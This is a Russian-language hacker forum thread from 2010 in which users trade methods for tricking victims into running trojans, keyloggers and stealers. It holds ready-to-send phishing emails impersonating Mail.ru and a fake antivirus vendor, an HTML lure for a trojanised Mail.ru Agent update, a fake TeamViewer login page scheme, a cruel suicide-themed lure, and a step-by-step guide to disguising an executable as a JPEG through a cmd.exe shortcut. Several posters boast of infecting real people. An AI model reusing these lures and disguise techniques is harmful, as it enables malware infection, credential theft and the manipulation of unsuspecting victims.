PDA

Просмотр полной версии : Как впарить жертве разные хакерские программы


dum_forever
06.07.2010, 19:35
Абсуждаем лутшые способы "Как впарить жертве разные хакерские программы"
Чей способ будет Лутщый ставим в начале форумa!

anaxanim
06.07.2010, 22:01
мой верный способ который не раз меня выручал
Для этого нам надо скрипт для отправки писем с подменой адреса отправителя и самая главное что можно была прикрепить файлы к теле письма (аттач )
оправляем ламеру такое сообщение и приклепаем наш вирус к письме (незабудьте переименовать имя вирусу на Anti Trojan v2.5 .exe

Уважаемый пользователь Mail.ru
Вчера в 23:08 наш сервер выл атакован вирусом Backdoor.
Связи с этим мы выполняем неплановую проверку компьютеров всех пользователей Mail.ru
Сегодняшние самые популярные антивирусы не могут найти и удалит этот вирус.
Что бы найти и удалит этот вирус вам надо скачать и запустить программу Anti Trojan v2.5 которую мы отправили вам.
Anti Trojan v2.5 единственный антивирус который может найти вирус Backdoor.


ламер скачает и открывает и воля :yahoo:

Br@iN
07.07.2010, 15:12
anaxanim, 2pizza, никто не поведётся на этот способ!
Узнать на каких форумах бывает, пообщаться хорошо с ним, а потом сказать: "Ты не сможешь проверить файл на вирусы" и кидаешь ему файл. Или сказать что прикольная мини-игра)
Лушего способа не придумал.

ihtr3
10.07.2010, 06:26
Трой в SFX архив и естесно увидели что кроме фотки там лежит .exe

Это настройки архиватора на компьютере жертвы.
Разве что предварительно *.reg файлом жертва удалит из реестра все настройки winrar, и в меню их не будет только как сделать это?:)

anaxanim
16.07.2010, 16:01
2pizza, никто не поведётся на этот способ!

слыш галош мой то способ тут единственный . если твой способ пришел на твой маленький мозг надо тогда радоваться хоть че та пришел :rofl:

Ninja
20.07.2010, 00:01
Мой способ:
1) Криптуем вирь...
2)Узнаем про интересы жертвы...
3)Клеем с нужной прогой...
4)Соц Инженерия...
И всё...

kekx_plant
20.07.2010, 02:00
Мой способ: 1) Криптуем вирь... 2)Узнаем про интересы жертвы... 3)Клеем с нужной прогой... 4)Соц Инженерия... И всё...
Способ, которым я пользуюсь похож на твой, но всё же распишу:

1) Находим вирь\троян\червь\стеалер или другое, заходим сюда > [Ссылки доступны только зарегистрированным пользователям] выбираем криптор, ставим иконку((к примеру .jpg)в этом способе это обязательно) и зашифровываем файл.

2) Находим жертву, пишем типа: лови картинку. (ну или другой развод, зависит от иконки)

3)Жертва принимает файл и запускает его.

Всё:yahoo:

travakur
20.07.2010, 03:14
kekx_plant мда мощный способ, видать фантазии на другое не хватило....:thumbdown:

An0nim
20.07.2010, 11:57
Во,во.Это типа как спам по асе:Привет!Мы когда то еплись,вот фотка - [Ссылки доступны только зарегистрированным пользователям]сцылька.хх

Alta1re
20.07.2010, 17:03
Абсуждаем лутшые способы "Как впарить жертве разные хакерские программы"
Чей способ будет Лутщый ставим в начале форуме!

Русский язык сначала выучи, потом инфекцию распространяй:puke:

anaxanim
Вы уверенны в том что этот способ работает?
На такое лишь идиот поведётся, такие письма формируются несколько иным способом.

Не пробовал, но думаю, что вполне осуществимо...
1) Для начала берём спам базу.
2)Пишем\просим написать скрипт заменяющий в письме определённую метку на имя пользователя.
3)Собственно само письмо:

Уважаемый [МЕТКА], Вас приветствует отдел поддержки пользователей MailCompanyName!
Ввиду увеличения поступлений жалоб на кражи пользовательских данных почтовых сервисов в Internet, мы рады предложить Вам решение этой проблеммы.
Специально для владельцев электронной почты MailCompanyName, компания FakeAVCompany выпустила lite-версию своего продукта обеспечивающего безопасность Вашего компьютера и электронной корреспонденции приходящей\исходящей с наших серверов.
Дополнительную информацию вы можете получить на сайте FakeAVCompany.com
Для бесплатного использования продукта в течении 3 месяцев, введите при регистрации указанную ниже информацию:
Username: [МЕТКА]-X2y1-[MailCompanyName]-q6Z4-0AF8
AuthKey: sF@45K8!4
Внимание! регистрационные данные индивидуальны, сохраните их в тайне от третьих лиц.

С уважением MailCompanyName.

Где MailCompanyName - почтовый сервис.
FakeAVCompany - фековая антивирусная компания.
FakeAVCompany.com - фековый сайт программы.

4) Регаем домен для FakeAVCompany, ставим движок, заполняем его информацией по безопасности, несколькими статьями и страничкой с банальными рекомендациями по сохранности личных данных.
5)Рисуем банер типа " FakeAVCompany&MailCompany - специальное предложение для пользователей лучшего почтового сервиса стран СНГ!"
Вешаем банер на сайт, пишем небольшую новость примерно того же содержания что и в рассылаемом письме.
6) Обращаемся к художникам или кодерам, нужно будет сделать скрины "антивируса" и написать небольшой мануал дающий понять, что пользоваться прогой реально просто и разберётся с ней даже обезьяна.
7) Антивирусом будет ваша инфекция, ясное дело, но на самом сайте можно повесить сплоит подгружающий вашу вторую инфекцию. Так же, чтобы Ваши труды вложенные на регистрацию домена и натягивание\пополнение движка оправдались, вы можете указать поле "Дополнительный e-mail" в графе регистрации\активации индивидуального аккаунта. Тогда вы получите ещё одну спам базу.
Добавлю, что поле регистрации моет быть любым и всё зависит лишь от изощрённости вашей фантазии. Например, можно будет сделать поле ввода "MasterPass" предназначенного для ввода пароля якобы сбрасывающего все остальные, ну и написать комментарий к этой графе "Введите пароль, который вы всегда будете помнить, не потеряйте его!"

Ну собственно всё, можно конечно ещё подумать и учесть мелочи, но думаю в этом нет нужды, кто станет этим заморачиваться, займётся этим сам.

Всё написанное выше рассматривается лишь как теория! За все действия отвечаете лишь вы, автор поста и администрация форума снимают с себя всякую ответственность за противозаконные действия совершенные с применением описанного способа.

cyk10id
20.07.2010, 20:37
Абсуждаем лутшые способы "Как впарить жертве разные хакерские программы"
Чей способ будет Лутщый ставим в начале форуме!

русский выучи

мой верный способ который не раз меня выручал
Для этого нам надо скрипт для отправки писем с подменой адреса отправителя и самая главное что можно была прикрепить файлы к теле письма (аттач )
оправляем ламеру такое сообщение и приклепаем наш вирус к письме (незабудьте переименовать имя вирусу на Anti Trojan v2.5 .exe

Уважаемый пользователь Mail.ru
Вчера в 23:08 наш сервер выл атакован вирусом Backdoor.
Связи с этим мы выполняем неплановую проверку компьютеров всех пользователей Mail.ru
Сегодняшние самые популярные антивирусы не могут найти и удалит этот вирус.
Что бы найти и удалит этот вирус вам надо скачать и запустить программу Anti Trojan v2.5 которую мы отправили вам.
Anti Trojan v2.5 единственный антивирус который может найти вирус Backdoor.


ламер скачает и открывает и воля

бред какой-то


anaxanim, 2pizza, никто не поведётся на этот способ!
Узнать на каких форумах бывает, пообщаться хорошо с ним, а потом сказать: "Ты не сможешь проверить файл на вирусы" и кидаешь ему файл. Или сказать что прикольная мини-игра)
Лушего способа не придумал.

и на твой тоже,поверь,даже если поведётся - то это долго...


Трой в SFX архив и естесно увидели что кроме фотки там лежит .exe

Это настройки архиватора на компьютере жертвы.
Разве что предварительно *.reg файлом жертва удалит из реестра все настройки winrar, и в меню их не будет только как сделать это?


не рентабильно...


слыш галош мой то способ тут единственный . если твой способ пришел на твой маленький мозг надо тогда радоваться хоть че та пришел


*thumbs up*


Мой способ:
1) Криптуем вирь...
2)Узнаем про интересы жертвы...
3)Клеем с нужной прогой...
4)Соц Инженерия...
И всё...


по точней,плиииииииз,а то тут кое-кому не совсем понятно,что есть соцюинженерия...



Способ, которым я пользуюсь похож на твой, но всё же распишу:

1) Находим вирь\троян\червь\стеалер или другое, заходим сюда > [Ссылки доступны только зарегистрированным пользователям] выбираем криптор, ставим иконку((к примеру .jpg)в этом способе это обязательно) и зашифровываем файл.

2) Находим жертву, пишем типа: лови картинку. (ну или другой развод, зависит от иконки)

3)Жертва принимает файл и запускает его.

Всё


фуфло,ни один здравомыслящий человек не поведётся на это...



kekx_plant мда мощный способ, видать фантазии на другое не хватило....



*thumbs up*


Альтаир,ты бы сам повёлся на такое сообщение???


а мой вопрос в ответ,тут все любят красивых девушек?) тогда развиваем тему,как впарить бацилл)))


P.S. Администрация и модераторы,прошу,не лупите по голове за этот пост,но ведь иногда такая бредятина реально бесит...

Alta1re
20.07.2010, 23:08
cyk10id
Дело не в том, повёлся бы я или нет, описание направленно на среднестатистического юзера, а таковой как мне кажется поведётся. Согласись, человеческий фактор играет довольно большое значение, тут ничего конкретного не скажешь.
Конечно, можно направить пользователя на приватную связку которая и браузер пробьёт и каспера обезвредит, но это не тот случай. Мне кажется не каждый офисный сотрудник станет качать картинки и непонятные архивы с трояном, но усыпить бдительность описанным мной способом вполне возможно если подойти к процессу серьёзно.
Ответ на вопрос - Я бы не повёлся.

А насчёт красивых девушек, их не ломать нужно. Да и не через сеть.
Если имелись ввиду потенциальные блондинки, то их акки от контактов\одноклассников\девятизнакв мне как-то не интересны. Я вообще не хакер)

cuker
21.07.2010, 04:13
Билдим(кароче готовим exe) троя(или то что надо впарить) ставим иконку исталятора... и рекламим установку тем Вкантакте типа 7657653974штук сразу... и тд.... эскизы мона и спереть у кого нить на ВК
в этом способе один не достаток надо хороший крипт чтоб не чем не палился.
вот и все... уменя приятель повелся на такое хотя сам программист

Dadie
29.07.2010, 12:44
Я в своё время играл в LA2. Ну вот там и промышлял.
Находил на форуме клановый сайт, регистрировался там под схожим именем одного из членов этого клана. Например: ник - naghibator, регистрировал пользователя с таким же ником, но одну, две буквы писал кириллицей(русскими буквами) - nаghibator(буква "а", "о"). В основном клановые сайты размещали на юкозе, а там так регистрироваться можно было. Затем устанавливал аватар, подпись и данные такие же как и у naghibator'a. И создавал тему, куда выкладывал, предварительно заготовленного троя, под видом полезной тулзы. Текст писал исходя из стиля общения naghibator'a(достаточно было почитать его сообщения на форуме). Единственное, что выдавало подмену, это количество сообщений и статус(звание) на форуме.
Иногда замечали подмену спустя денёк, другой.

Ape][i
29.07.2010, 17:47
1) Билдим .exe
2)Качаем что-нить на подобии PornDownloader v.OVER 9000
3)Лепим наш .exe с порн-довнлоадером
4)Идем на порно форумы (желательно где больше всего школоты).
5)Набиваем 20-35 сообщений.
6)Закидываем под видом супер бупер проги которая чуть ли не за тебя качает новый порн по твоему вкусу и т.п.

P.s. Весь профит в том, что нет времени думать про безопасность "Вить надо скинуть энергию".

cyk10id
29.07.2010, 18:27
Alta1re,я говорил не о взломе,а о создании поддельной анкеты...
Неделю назад я впарил девченке одной пинча...
В общем врубил поиск на мэйл ру,и нашел девченку,у которой одна со мно фамилия и дата рождения полностью совпадают...мне это показалось странным...создал анкету левую,целиком заполнил её,понаприглашал друзей,вступил в сообщества(в те-же что и она)музыку похожую закинул,ну в общем всё как полагается,адрес города и улицы тоже поставил,как у неё...ну типа только перехал туда...послал предложение дружбы,разговорились,и тут она сказала,что работает в бухгалтерии местного управления...пораскинув мозгом,я у троя сменил иконку(типа SFX архива,добавил сообщение при запуске"Архив поврежден или имеет неизвестный формат") и придумал проблему,пишу ей - "меня уволили с работы,выдали мне какие-то документы о зарплате,я в них нифига не разбираюсь...не могла бы ты посмотреть,ты же бухгалтер,продвинутая в этом..." в общем словила она архив,запустила,и говорит мне,что поврежден архив...ну тут я откланялся,облажив матом тех кто меня уволил(типа:))и с глаз долой...отчеты пришли,но интересного нет ничего,да это и не важно...важна работа мозгом,если хочешь впарить - впаришь...я надеюсь,что кто-нибудь почерпнул отсюда что-то важное...;)

Ape][i
29.07.2010, 19:22
Самое главное досканально изучить свою жертву :D

budora
29.07.2010, 20:31
Опишу кратко, кто с мозгами тот додумает сам!!!

1.Берём видео и ставим на него DRM защиту.
2.Создаём провайдера лицензий
3. Помещаем файл лицензии на хост:spiteful:

Всё... ждём пока желающие просмотреть наше видео скачают лицензию

Doublev
23.08.2010, 22:48
Ninja +1

Reptiliy
23.08.2010, 23:30
Ещё один способ и так вышла новая версия mail.ru агента, скачиваем клеим с нашим троем, регим хостинг примерно такой [Ссылки доступны только зарегистрированным пользователям] создаём потдельную страницу нашего агента вот такую.

[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])

Закидываем нашего скленого агента на хостинг на под дельной страници меняем сылку на скачку нашего склееного агента.

далее делаем рассылку писем в html примерно так :yahoo:

<style type="text/css">
<!--
.стиль1 {
color: #FF9966;
font-weight: bold;
font-size: 30px;
}
-->
</style>
<xBODY><xHTML>
<span class="стиль1">Вышла новая версия Mail.Ru Агент 5.7</span><br />

<p><img src="[Ссылки доступны только зарегистрированным пользователям]" width="867" height="479"><br />
<p><br />
Еще больше возможностей для интересного и эмоционального общения<br />
с друзьями и новых знакомств: поиск собеседников по наличию веб-<br />
камеры, статусу «Знакомлюсь», географическому положению.<br />

и люди ведуца с радастью устанавливают новый агент а там как у вас фантазия заработает.



<p>Скачать вы можете новую версию снашего сайта <br />

<br><b> Mail.ru Агент </b></br> <a href="[Ссылки доступны только зарегистрированным пользователям]"><strong>[Ссылки доступны только зарегистрированным пользователям]></a><br>

<br>
С уважением,<br />
администрация проекта<br />
Мой Мир@Mail.Ru<br />
<br>
</p>
</body>
</html>

[Ссылки доступны только зарегистрированным пользователям] ([Ссылки доступны только зарегистрированным пользователям])

И люди всё равно ведуца срадастью качают новый агент.
Кстати спасибо anaxanim за идею.

Vad1k
27.08.2010, 19:21
Reptiliy, ИМХО в адресную строку люди смотрят, но возможно какие нить ламеры клюнут:unsure:

limit
27.08.2010, 22:35
Можно замаскировать программу под картинку, я это уже делал. Жертва даже не поняла что произошло))

Ujas
28.08.2010, 01:54
Можно замаскировать программу под картинку, я это уже делал. Жертва даже не поняла что произошло))

замаскировать?) отличная картинка с разширением .exe, только если длинное название, очень длинное, тогда внимание сложно обратить, а если в папке показываются экскизы, и тут просто иконка, стремновато всё) жертва доверчивая попалась

olegteror
29.08.2010, 11:30
Твой парень Покончил с собой посмотри что ты натворила! работает безотказно.Качают.запускают...одна жертва СКАЧАЛА кейлоггер 5 РАЗ! причем запустила каждый из них.

Работает если Парень далеко от девушки. на все 101% или Учиться в другом городе и прочее.
Alta1re,Красафчик:),молодец:) с таким подходом много кто поведеться:)

Ujas
29.08.2010, 20:36
Твой парень Покончил с собой посмотри что ты натворила! работает безотказно.Качают.запускают...одна жертва СКАЧАЛА кейлоггер 5 РАЗ! причем запустила каждый из них.

Работает если Парень далеко от девушки. на все 101% или Учиться в другом городе и прочее.
Alta1re,Красафчик:),молодец:) с таким подходом много кто поведеться:)

какой-то очень жестокий и бездушный метод =( милодушнее будет использовать метод Alta1re

master008
31.08.2010, 14:26
жестокий и бездушный метод
Тут о душе жертвы никто никогда не думает

MarShaLL22
05.09.2010, 06:24
Очень понравились способы anaxanim и Alta1re. надо будет обязательно провести тесты.
но я думаю, народ ещё как клюнет. точнее нубы. грамотные ессно подвох почуют.

olegteror
05.09.2010, 18:33
какой-то очень жестокий и бездушный метод =( милодушнее будет использовать метод Alta1re

Знаешь:) мне срочно нужно было девушке от парня этого трой Загнать;) он разрешил) я без разрешения такой бы метод никогда не использовал.жалко жертву.

omen
05.09.2010, 20:30
Пишем примерно следующие.

Здр Мария Ивановна, наши прогнозы потихоньку сбываются, как и ожидалось курс $ начал рости(ну или падать?) в ближайшие пару недель ожидаем существенный скачек вверх(вниз), так как мы с Вами и планировали, на этой разнице мы выигрываем порядком 20000-22000,на днях постараюсь сбросить Вам один очень интересный файлик.Этот файл, должен мне скинуть один мой должничек из Приват Банка (или др).Я думаю, если данные из файла подтвердятся, то мы подымем гораздо больше чем планируем.
=====================================
Через пару тройку дней скидываем свой файл()
З.Ы- Способ проверен! не однократно.

dzhoka
05.09.2010, 20:59
Пишем примерно следующие.

Здр Мария Ивановна, наши прогнозы потихоньку сбываются, как и ожидалось курс $ начал рости(ну или падать?) в ближайшие пару недель ожидаем существенный скачек вверх(вниз), так как мы с Вами и планировали, на этой разнице мы выигрываем порядком 20000-22000,на днях постараюсь сбросить Вам один очень интересный файлик.Этот файл, должен мне скинуть один мой должничек из Приват Банка (или др).Я думаю, если данные из файла подтвердятся, то мы подымем гораздо больше чем планируем.
=====================================
Через пару тройку дней скидываем свой файл()
З.Ы- Способ проверен! не однократно.
Сам придумал?

olegteror
06.09.2010, 16:23
:)мдаа...Интелект Все падает...:)если кто то на банк софт ведеться.

beckham
12.09.2010, 04:38
фэйк лучший способ с подменой страницы в хтмл

Coyote
12.09.2010, 13:11
думаю к каждой жертве нужен свой подход лучшего нету

master008
12.09.2010, 16:07
думаю к каждой жертве нужен свой подход лучшего нету
Я бы даже сказал к группе жертв а не к одной жертве,а то получится что на земле 5 миллиаров людей и соответственно 5 миллиардов способов

travakur
12.09.2010, 16:41
фэйк лучший способ с подменой страницы в хтмл


наверное такой способ орентирован на таких как вы, ибо лучший способ он всегда в тайне от паблика.

savis
24.09.2010, 15:18
наверное зависит и от целей. если цель только один тип - то все субьективно. если массовое - от типа массы.

Falcon
24.09.2010, 21:09
Твой парень Покончил с собой посмотри что ты натворила! работает безотказно.Качают.запускают...одна жертва СКАЧАЛА кейлоггер 5 РАЗ! причем запустила каждый из них.

Работает если Парень далеко от девушки. на все 101% или Учиться в другом городе и прочее.
Alta1re,Красафчик:),молодец:) с таким подходом много кто поведеться:)
Мдаа... жестоко, хотя тоже вариант, вообще надо все иметь на вооружении, пока соц инженерия а потом арсенал пускать.:wallbash:

olegteror
25.09.2010, 21:58
Мдаа... жестоко, хотя тоже вариант,

Согласен.Но жертва стянула Кейлоггер АЖ 5 раз Судя по логам апача;)

anaxanim
27.09.2010, 09:55
Народ на фотки клюет больше чем на другие приемы.
Короче болтал с одной девкой и мне стала интересно что у нее в компе. Она посмотрела мои фотки в Мире и ей захотелось еще фоток (понравился оч сильно :rofl: ) Она мне давай встретимся я в Moscow . А я живу ...... Короче сказал ей что смогу тока через неделю прилететь к ней . Она типа блин так долго и все такое и попросила еще больше фоток вот тут то я засверкал :yahoo: . Сказал ей чтоб у меня агент тупит и не могу передать фотки и почта тоже не открывается типа проблема у меня . И сказал ей что типа есть такая прога с помощи которого можно передать файлы прямо на комп (TeamViewer) Она конечно сомневалась и спросила типа можт эт вирус какой нить . Сказал что прогу сама скачаешь откуда хочешь и еси не веришь можешь проверить на антивирусы. Короче она скачал и проверила и радостна сообщила что установила прогу. Щас я должен был знать ее ID и пароль чтоб залез в ее комп . Знал что еси попрошу она врубится и просто пошлет меня . Я зашел на офф сайт TeamViewer скачал весь сайт . Открыл сайт на бес. хостинге поможа не этот сайт . Сделал форму для ID и пароля . Скачал все на созданный сайт и этой девке сказал что для того чтоб мы смогли подключиться тя надо сначал подключатся с сервером а для этого тебе надо зайти на этот сайт (фейк сайта teamviewer.com) там вводить свой ID и пароль а потом нажимать Подключится . Она все сделала и тупа ждала када подключится. А пароль и id приплыли комне ) ну дальше уже всем понятно . Конечно эт способ не для всех ламером но сама идея выручала не раз .

ihtr3
30.09.2010, 11:12
copy /b love.jpg + WinRAR.rar new.jpg как здесь запустить вирус а то запускается картинка а не вир?
делаю через cmd

DJ Keylogger
30.09.2010, 15:28
Прога меняет exe на jpg или на любой формат[Ссылки доступны только зарегистрированным пользователям] 3 авиря палят как bacdoor(Так что не хотите - не качайте)

Falcon
01.10.2010, 04:22
Согласен.Но жертва стянула Кейлоггер АЖ 5 раз Судя по логам апача;)
5 раз, значит у неё и вправду был повод так переживать ))

А вообще я думаю что мужского пола жертвам надо порнушное впаривать, что-то типа смотри это мои новые ню фотки, я это проделывал несколько раз, всегда срабатывало, но я это делаю это обычно от тех кто в друзьях у жертвы, так жертва относится менее бдительно ко всему этому ))

olegteror
01.10.2010, 13:31
5 раз, значит у неё и вправду был повод так переживать ))

Да был.Парень в мосскве учиться она Нуу...неважно где далеко:)

DJ Keylogger
01.10.2010, 14:50
Нашел на hacker-pro.net

Как насчет того, чтобы отослать троян или кейлогер Вашей жертве, использовав эту хитрость??

1) Для начала, создайте новую папку и убедитесь, что параметр «Показывать скрытые файлы и папки» включена и «Скрывать расширения для зарегистрированных типов файлов» отключена.

По существу, вам нужно видеть скрытые файлы и видеть расширения всех фалов на Вашем ПК.

2) Скопируйте Ваш файл в свежесозданную папку. Давайте считать, что он называется «server.exe» (вот почему нужно, чтобы показывалось расширение файла, потому что Вам будет нужно его изменить).

3) Теперь переименуйте этот «server.exe» в то, что Вам нужно, например «picture.jpeg»

4) Windows выдаст предупреждение, действительно ли Вам так необходимо изменить расширение файла с exe на jpeg, кликните «Да».

5) Затем создайте ярлык на «picture.jpeg» в той же папке.

6) Теперь, когда у Вас есть ярлык, переименуйте его, как пожелаете, например, «me.jpeg».

7) Откройте свойства (файла «me.jpeg») и внесите в них несколько изменений.

8) Прежде всего, нужно удалить весь текст в поле «Рабочая папка» и оставить его пустым.

9) Теперь в поле «Объект» Вам нужно прописать путь для открытия другого файла (server переименованный в «picture.jpeg») так что Вам нужно написать это:

«C:\WINDOWS\system32\cmd.exe /c picture.jpeg».

10) Последнее поле, «c/ picture.jpeg» ***8209; это всегда имя первого файла. Если Вы назвали первый файл «soccer.avi», то Вы напишете «C:\WINDOWS\system32\cmd.exe /c soccer.avi».
11) Так что, после того, как Вы это сделаете, если кто-то кликнет на «me.jpeg», a cmd выполнит другой файл, «picture.jpeg»и server запустится.

12) В файле «me.jpeg» (ярлык), откройте свойства и смените иконку. Нажмите это и появится всплывающее окошко, и Вам будет нужно написать это:

%SystemRoot%\system32\SHELL32.dll . Затем нажмите OK.

13) Вы можете для первого файла «picture.jpeg» установить параметр «Скрытый», если Вы считаете, что так будет лучше привязаться к чему-то.

14) Но не забудьте одну вещь: эти два файла всегда должны находиться вместе в одной и той же папке и чтобы они заработали, кто-то должен кликнуть по ярлыку. Так что переименуйте файлы, учитывая личность жертвы и ее знания о таких вещах.

15) Что же насчет меня… Я, например, всегда хочу, чтобы ярлык казался первым файлом, доступным для открытия. Так что я переименую «server» в «picture2.jpeg» и ярлык в «picture1.jpeg».

Таким способом сначала будет отображаться ярлык. Если Вы все-таки зададите свойство «Скрытый» для «picture.jpeg», то нет необходимости устанавливать его для обоих файлов, я предупреждаю Вас, скрытые файлы всегда отображаются в Zip- или Rar- архивах.

16) Но все равно, лучшим способом отправить эти файлы кому-то будет запаковать их в Zip или Rar.

+ к этому если погуглить можно удалить стрелку с ярлыка ;)

ihtr3
03.10.2010, 14:51
лучше скрыть вирус или троян а через бат запустить:)

eugen_mur
11.11.2010, 14:01
DJ Keylogger +1. Почти мой способ :o

cRv
12.11.2010, 10:18
лучше скрыть вирус или троян а через бат запустить:)

и антивирус вежливо спросит пользователя действительно ли он хочет чтобы запустился вирь или нет) или сразу удалит\заблочит.

kekx_plant
17.11.2010, 15:35
[i;16229']1) Билдим .exe
2)Качаем что-нить на подобии PornDownloader v.OVER 9000
3)Лепим наш .exe с порн-довнлоадером
4)Идем на порно форумы (желательно где больше всего школоты).
5)Набиваем 20-35 сообщений.
6)Закидываем под видом супер бупер проги которая чуть ли не за тебя качает новый порн по твоему вкусу и т.п.

P.s. Весь профит в том, что нет времени думать про безопасность "Вить надо скинуть энергию".
Дерзковат способ :rofl:

ciberbox
18.11.2010, 08:23
Alta1re,я говорил не о взломе,а о создании поддельной анкеты...
Неделю назад я впарил девченке одной пинча...
В общем врубил поиск на мэйл ру,и нашел девченку,у которой одна со мно фамилия и дата рождения полностью совпадают...мне это показалось странным...создал анкету левую,целиком заполнил её,понаприглашал друзей,вступил в сообщества(в те-же что и она)музыку похожую закинул,ну в общем всё как полагается,адрес города и улицы тоже поставил,как у неё...ну типа только перехал туда...послал предложение дружбы,разговорились,и тут она сказала,что работает в бухгалтерии местного управления...пораскинув мозгом,я у троя сменил иконку(типа SFX архива,добавил сообщение при запуске"Архив поврежден или имеет неизвестный формат") и придумал проблему,пишу ей - "меня уволили с работы,выдали мне какие-то документы о зарплате,я в них нифига не разбираюсь...не могла бы ты посмотреть,ты же бухгалтер,продвинутая в этом..." в общем словила она архив,запустила,и говорит мне,что поврежден архив...ну тут я откланялся,облажив матом тех кто меня уволил(типа:))и с глаз долой...отчеты пришли,но интересного нет ничего,да это и не важно...важна работа мозгом,если хочешь впарить - впаришь...я надеюсь,что кто-нибудь почерпнул отсюда что-то важное...;)


Ну чистой воды социнженерия))) Еще раз подтверждает слова о том, что надо вначале изучить поле боя.

RoMu4
21.11.2010, 14:54
Что нужно:
1) Последний hands.dll
2) Последний Mozg.exe
3) Metasploit

Ход работы:
Генирация троя => склейка=> ICQ => Соц. инженерия => Воображение(это самое главное :spiteful:)